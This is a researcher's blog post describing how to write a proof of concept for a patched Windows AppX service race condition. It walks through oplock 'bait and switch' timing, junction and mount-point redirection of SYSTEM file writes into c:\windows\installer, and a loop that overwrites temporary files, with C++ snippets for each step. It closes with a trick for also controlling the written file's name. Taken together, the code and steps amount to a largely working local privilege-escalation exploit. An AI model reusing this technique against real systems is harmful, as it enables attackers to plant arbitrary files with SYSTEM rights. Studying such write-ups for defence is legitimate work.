Friday, January 31, 2020

Chasing polar bears: part two

Unlike that task scheduler exploit, which I had written with the purpose of selling (I was desperate), all my other PoCs are pretty shitty, they are not optimal and are purely written to demonstrate the vulnerability. The people at bug bounty programs don't need a full exploit.. they just need a PoC that allows them to understand the root-cause of a bug.

Writing a PoC and hitting timing windows

A. Opportunistic locks

Opportunistic locks, or simply, Oplocks, are a way to lock a file when a certain type of operation is performed on it.
For example, you can lock a file when a write operation occurs, this will delay the write operation for as long as you want and you can do stuff in a callback function, the write operation will only happen after returning from the callback function, a.k.a releasing the lock.

Let's say we have the following set-up:

1. c:\a is a junction pointing to c:\c
3. We place an Oplock on c:\c\notepad.exe that triggers on write.
2. A program tries to write to c:\a\notepad.exe (resolves to c:\c\notepad.exe)
4. The lock triggers, delaying the write operation. We can now modify the junction c:\a to point to c:\windows\system32.
5. Our program tries to write to c:\windows\system32\notepad.exe once the lock is released.

Oplocks buy you time to exploit a timing window, because it freezes the file operation right before it happens.
What you can't do is modify the file that has the Oplock, this is why a lot of cases are a lot more complicated and require other mechanisms to hit your timing window.

If you can use a simple "bait and switch" (as the above is called), you should. It's by far the most reliable, if that is not an option.. continue reading.

B. Thread Priority, loops and Oplocks

This is a bug that I found all the way in September (patched a while ago).

LINK: https://github.com/SandboxEscaper/Bug (has video demo too of the bug and a readme.. I suggest using these materials to better understand this write-up)

The way this bug worked:

If we install a store app it will write the logo image files to c:\users\%username%\appdata\local\temp  first in .tmp format.
Once written to the temp folder, it copies the contents and creates the final .png files in c:\users\%username%\appdata\local\PlaceHolderTileLogoFolder\%random string%.

The bug here is that we can overwrite the temporary .tmp files with our own contents. Then those "tampered" contents are copied and written to a user-writable folder that we can turn into a junction, but without impersonation as SYSTEM.

Since we can't manipulate the length of the timing window in this case (i.e as in a bait and switch scenario), we have to increase execution speed to make thing more reliable, you do this with:

HANDLE bear = GetCurrentThread();
SetThreadPriority(bear, THREAD_PRIORITY_TIME_CRITICAL);

This will give the executing thread the highest priority. Just make sure you have multiple CPU cores.

1. First problem: Getting the name of the random folder

To solve this we turn c:\users\%username%\appdata\local\PlaceHolderTileLogoFolder into a junction to c:\bear. Now we can "poll" c:\bear for the creation of the random folder.

while (continue1 == false) {
hFind1 = FindFirstFileA("C:\\bear\\*", &FindFileData1);

while (FindNextFileA(hFind1, &FindFileData1) != 0)
{
if (strcmp(FindFileData1.cFileName, ".") == 0 || strcmp(FindFileData1.cFileName, "..") == 0)
{
continue;
}
continue1 = true;
break;
}
}

The random folder that gets created won't be write-able by a user. So we simply change the junction on c:\users\%username%\appdata\local\PlaceHolderTileLogoFolder to c:\bear1 (instead of c:\bear), then create the folder with the random name we just found and turn that into a junction pointing to c:\windows\installer (or wherever you want your files planted). The appx service, where the vulnerability lies, is entirely blind to all this junction stuff.

ReparsePoint::CreateMountPoint(ws, L"\\??\\c:\\bear1", L"Polar bears are really cool");
sprintf_s(filepath1, "%s\\%s", path1, FindFileData1.cFileName);
CreateDirectoryA(filepath1, NULL);

wstring blah1;
string bla1(filepath1);
StringToWString(blah1, bla1);
ReparsePoint::CreateMountPoint(blah1, L"\\??\\c:\\windows\\installer", L"Bears are smart then the person reading                  this");

After it creates the files in the temp folder and then copies the contents and tries to write the final image files to the PlaceHolderTileLogoFolder\%random string% folder, it will now create them in c:\windows\installer because of the structure we've just set up. Next step is taking control of the contents. Arbitrary file creation alone is not useful.

2. Second problem: Overwriting the .tmp file in  c:\users\%username%\appdata\local\temp

What we do here is, we first call FindFirstFile on  c:\users\%username%\appdata\local\temp\wsu*.tmp.
We keep repeating this until one of these files is found.

 string bl(GetAppDataDirectory());
string bl2 = "\\Temp\\wsu*.tmp";
bl.append(bl2);

char filepath[512];

std::string bl3(GetAppDataDirectory());
std::string bl4 = "\\Temp";
bl3.append(bl4);

wstring blahz;
do
{
hFind = FindFirstFileA(bl.c_str(), &FindFileData);
} while (hFind == INVALID_HANDLE_VALUE);


After that we create a lock on it, because we need to overwrite this file AFTER the appx service has written to it. Otherwise our contents will just get overwritten. This means we create a lock, we don't keep it locked but release it as soon as it happens. Using Oplocks like this is different, we don't use the callback function, but just an Oplock to instrument when a write to a file happens, as our race condition is only valid after the write has occured. It's a way to get a specific timing, right BEFORE the vulnerability happens. This is what you always do, you find a way to instrument something that happens right before your timing window, and then use that to actually hit your timing window.

FileOpLock::CreateLock(blahz, test);

The oplock callback function is going to set triggered to true as soon as the lock is activated. But we should only continue code execution AFTER the lock has triggered, this is why we loop QueryPerformanceCounter(&li);. Just do whatever in the loop, doens't matter really. Just dont use sleep(1).. that will add too much delay and might mess up timings.

while (triggered == false)
{
QueryPerformanceCounter(&li);
}

Once the lock is triggered we have our timing window. Now is the time to write to our .tmp file!
Spam createfile a 1000 times! If we still don't succeed after a 1000 times we have most definitely missed the timing window lol.

int count = 0;
do {
hFile = CreateFileA(filepath,                // name of the write
GENERIC_WRITE,          // open for writing
FILE_SHARE_READ | FILE_SHARE_WRITE,                      // do not share
NULL,                   // default security
OPEN_EXISTING,             // create new file only
FILE_ATTRIBUTE_NORMAL,  // normal file
NULL);                  // no attr. template

test1 = WriteFile(
hFile,           // open file handle
DataBuffer,      // start of data to write
dwBytesToWrite,  // number of bytes to write
&dwBytesWritten, // number of bytes that were written
NULL);            // no overlapped structure
CloseHandle(hFile);
count++;
} while (count < 10000);

Now the appx service will copy the tampered contents and create a file with it into c:\windows\installer (because of the junctions we set up earlier)

3. After thoughts

Theoretically, even if you can write a .png with the contents of a valid .msi file into c:\windows\installer, this could be a problem, because the installer ignores file extensions (just cares about the contents) and files in c:\windows\installer get treated differently in some occasions if I remember correctly.

However, and I found out about this after submitting this bug.. you can totally create a junction structure using the object manager and control the filename of the file being created.


They explain how to do this.
With this, this bug will let you control the NAME and CONTENTS of the file you are writing. So definitely easily exploitable.
If this trick isn't patched yet, you can even use this to replace the now mitigated hardlinks and redirect ACL writes if junction checks are not present. Which is why I think this trick is kind of a big deal and should really be addressed.